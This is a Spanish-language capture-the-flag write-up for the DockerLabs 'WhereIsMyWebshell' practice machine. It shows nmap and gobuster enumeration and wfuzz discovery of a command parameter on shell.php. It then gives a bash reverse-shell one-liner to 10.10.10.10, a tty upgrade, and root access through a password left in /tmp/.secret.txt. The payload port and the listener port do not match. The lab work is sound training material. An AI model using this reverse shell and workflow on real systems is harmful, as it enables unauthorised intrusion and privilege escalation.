Post

DockerLabs - WhereIsMyWebshell

DockerLabs - WhereIsMyWebshell

nmap

1
2
3
4
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Whereismywebshell]
└─$ nmap -p- -sS --min-rate 5000 -v -n -Pn 172.17.0.2 -oG allPorts
PORT   STATE SERVICE
80/tcp open  http
1
2
3
4
5
6
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Whereismywebshell]
└─$ nmap -sCV -p80 172.17.0.2                                  
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.57 ((Debian))
|_http-title: Academia de Ingl\xC3\xA9s (Inglis Academi)
|_http-server-header: Apache/2.4.57 (Debian)

análisis

Comenzamos revisando la pagina web alojada en el puerto 80 de la maquina, donde al final nos dan una pequeña pista de por donde empezar a escalar privilegios una vez obtengamos acceso:

Desktop View

Fuzzeamos en busca de recursos que puedan servirnos para obtener una consola:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Whereismywebshell]
└─$ gobuster dir -u "http://172.17.0.2" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -x .txt,.html,.php 
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://172.17.0.2
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Extensions:              html,php,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 2510]
/shell.php            (Status: 500) [Size: 0]
/warning.html         (Status: 200) [Size: 315]
Progress: 882228 / 882228 (100.00%)
===============================================================
Finished
===============================================================

Encontramos un recurso llamado shell.php, pero parece ser que necesitamos un parámetro el cual debemos pasarle para que se ejecute correctamente el script:

Desktop View

Tambien descubrimos que existe un fichero llamado warning.html, el cual nos da a entender que debemos fuzzear por el parámetro del fichero shell.php:

Desktop View

Tras fuzzear, encontramos cual es parámetro que podemos usar:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Whereismywebshell]
└─$ wfuzz -c --hc=404,500 --hh=0 -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u "http://172.17.0.2/shell.php?FUZZ=whoami" -t 200 
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://172.17.0.2/shell.php?FUZZ=whoami
Total requests: 6453

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                           
=====================================================================

000004007:   200        2 L      2 W        21 Ch       "p********"                                                                                                                                       

Total time: 11.33796
Processed Requests: 6453
Filtered Requests: 6452
Requests/sec.: 569.1495

acceso incial (www-data)

Empleando el parámetro que hemos encontrado, podemos ejecutar comandos:

Desktop View

Teniendo esto ya definido, podemos obtener la consola con un payload básico de PHP:

1
bash -i >%26 /dev/tcp/10.10.10.10/9001 0>%261

Si nos hemos puesto en escucha antes de ejecutar el payload anterior, habremos obtenido una consola:

1
2
3
4
5
6
7
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Whereismywebshell]
└─$ nc -nlvp 4444  
listening on [any] 4444 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 58404
www-data@d4d4dbf1a2c0:/var/www/html$ whoami
whoami
www-data

Tratamos la tty para poder operar en una consola completamente interactiva:

1
2
3
4
5
6
7
8
9
10
11
12
13
www-data@d4d4dbf1a2c0:~$ script -c bash /dev/null
script -c bash /dev/null
Script started, output log file is '/dev/null'.
www-data@d4d4dbf1a2c0:~$ ^Z
zsh: suspended  nc -nlvp 4444
                                                                                                                                                                                                                  
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Whereismywebshell]
└─$ stty raw -echo;fg             
[1]  + continued  nc -nlvp 4444
                               reset xterm
www-data@d4d4dbf1a2c0:~$ export TERM=xterm
www-data@d4d4dbf1a2c0:~$ export SHELL=bash
www-data@d4d4dbf1a2c0:~$ stty rows 51 columns 211

escalada de privilegios (root)

Haciendo caso a la pista que nos dieron al principio, nos dirigimos a la carpeta /tmp, donde encontramos el fichero .secret.txt:

1
2
3
4
5
www-data@d4d4dbf1a2c0:/tmp$ ls -la
total 12
drwxrwxrwt 1 root root 4096 Oct 27 10:19 .
drwxr-xr-x 1 root root 4096 Oct 27 10:18 ..
-rw-r--r-- 1 root root   21 Apr 12  2024 .secret.txt

Y dentro, encontramos la que posiblemente sea la contraseña del usuario root:

1
2
www-data@d4d4dbf1a2c0:/tmp$ cat .secret.txt 
cont***************

Probamos a conectarnos como el usuario root, y validamos que efectivamente se trata de su contraseña:

1
2
3
4
www-data@d4d4dbf1a2c0:/tmp$ su root
Password: 
root@d4d4dbf1a2c0:/tmp# whoami
root

buymecoffee_icon

This post is licensed under CC BY 4.0 by the author.